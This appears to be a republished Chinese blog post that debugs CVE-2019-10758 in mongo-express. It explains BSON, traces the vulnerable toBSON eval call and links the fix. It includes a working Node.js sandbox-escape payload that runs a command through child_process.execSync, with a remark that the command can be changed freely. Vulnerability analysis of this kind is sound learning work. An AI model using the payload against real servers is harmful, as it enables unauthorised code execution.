CVE-2019-10758漏洞debug過程(nodejs)


CVE-2019-10758

根據https://github.com/masahiro331/CVE-2019-10758/blob/master/main.js的內容可知,在上一篇里已經講了怎么debug調試nodejs。

所以在工作區新建一個test.js的文件。內容為:

exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/CotEditor.app/Contents/MacOS/CotEditor')"

var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)

至於想執行的命令可以自行更改,我這邊是運行一個mac下的軟件。

 

根據poc可知,漏洞關鍵點在bson庫里的toBSON函數。百度一下bson是什么東西?和json又有什么關系?

引用:https://blog.csdn.net/m0_38110132/article/details/77716792

參考百科說明:BSON( Binary Serialized Document Format) 是一種二進制形式的存儲格式,采用了類似於 C 語言結構體的名稱、對表示方法,支持內嵌的文檔對象和數組對象,具有輕量性、可遍歷性、高效性的特點,可以有效描述非結構化數據和結構化數據。

BSON是一種類json的一種二進制形式的存儲格式,簡稱Binary JSON,它和JSON一樣,支持內嵌的文檔對象和數組對象,但是BSON有JSON沒有的一些數據類型,如Date和BinData類型。
BSON可以做為網絡數據交換的一種存儲形式,這個有點類似於Google的Protocol Buffer,但是BSON是一種schema-less的存儲形式,它的優點是靈活性高,但它的缺點是空間利用率不是很理想,
BSON有三個特點:輕量性、可遍歷性、高效性。

例子

一個Document的BSON表示

{
    title:"MongoDB",
    last_editor:"192.168.1.122",
    last_modified:new Date("27/06/2011"),
    body:"MongoDB introduction",
    categories:["Database","NoSQL","BSON"],
    revieved:false
}

這是一個簡單的BSON結構體,其中每一個element都是由key/value對組成的

一個嵌套的例子

{
    name:"lemo",
    age:"12",
    address:{
        city:"suzhou",
        country:"china",
        code:215000
    } ,
    scores:[
        {"name":"english","grade:3.0},
        {"name":"chinese","grade:2.0}
    ]
}

這是一種相對復雜點的例子,其中包括了地址對象和分數對象數組,這里使用了嵌套文檔對象與文檔對象數據來表示單個學生的信息,這種嵌套的文檔結構要使用關系數據庫來做是比較復雜的。
與JSON的區別
以下內容參考自 http://blog.csdn.net/z69183787/article/details/26709505 感謝謝原作者。
BSON是由10gen開發的一個數據格式,目前主要用於MongoDB中,是mongodb的數據存儲格式。BSON基於JSON格式,選擇JSON進行改造的原因主要是JSON的通用性及JSON的schemaless的特性。
BSON主要會實現以下三點目標:
(1)更快的遍歷速度
對JSON格式來說,太大的JSON結構會導致數據遍歷非常慢。在JSON中,要跳過一個文檔進行數據讀取,需要對此文檔進行掃描才行,需要進行麻煩的數據結構匹配,比如括號的匹配,而BSON對JSON的一大改進就是,它會將JSON的每一個元素的長度存在元素的頭部,這樣你只需要讀取到元素長度就能直接seek到指定的點上進行讀取了。
(2)操作更簡易
對JSON來說,數據存儲是無類型的,比如你要修改基本一個值,從9到10,由於從一個字符變成了兩個,所以可能其后面的所有內容都需要往后移一位才可以。而使用BSON,你可以指定這個列為數字列,那么無論數字從9長到10還是100,我們都只是在存儲數字的那一位上進行修改,不會導致數據總長變大。當然,在MongoDB中,如果數字從整形增大到長整型,還是會導致數據總長變大的。
(3)增加了額外的數據類型
JSON是一個很方便的數據交換格式,但是其類型比較有限。BSON在其基礎上增加了“byte array”數據類型。這使得二進制的存儲不再需要先base64轉換后再存成JSON。大大減少了計算開銷和數據大小。
但是,在有的時候,BSON相對JSON來說也並沒有空間上的優勢,比如對{“field”:7},在JSON的存儲上7只使用了一個字節,而如果用BSON,那就是至少4個字節(32位)
目前在10gen的努力下,BSON已經有了針對多種語言的編碼解碼包。並且都是Apache 2 license下開源的。並且還在隨着MongoDB進一步地發展。

 

 1 exports.toBSON = function (string) {
 2   var sandbox = exports.getSandbox();
 3 
 4   string = string.replace(/ISODate\(/g, 'new ISODate(');
 5   string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
 6 
 7   vm.runInNewContext('doc = eval((' + string + '));', sandbox);
 8 
 9   return sandbox.doc;
10 };

跟蹤來到第7行,發現eval和之前string代碼進行拼接了。百度查看vm.runInNewContext的函數意義。

 

 

emmm。。。。運行js代碼。。。那就直接拼接了代碼。。。。直接執行了命令。

查看這個文件的history。發現修復方式是刪除了vm這個庫的引用。

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2#diff-a3edef2410fccadc68e7b4237d3495d6

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM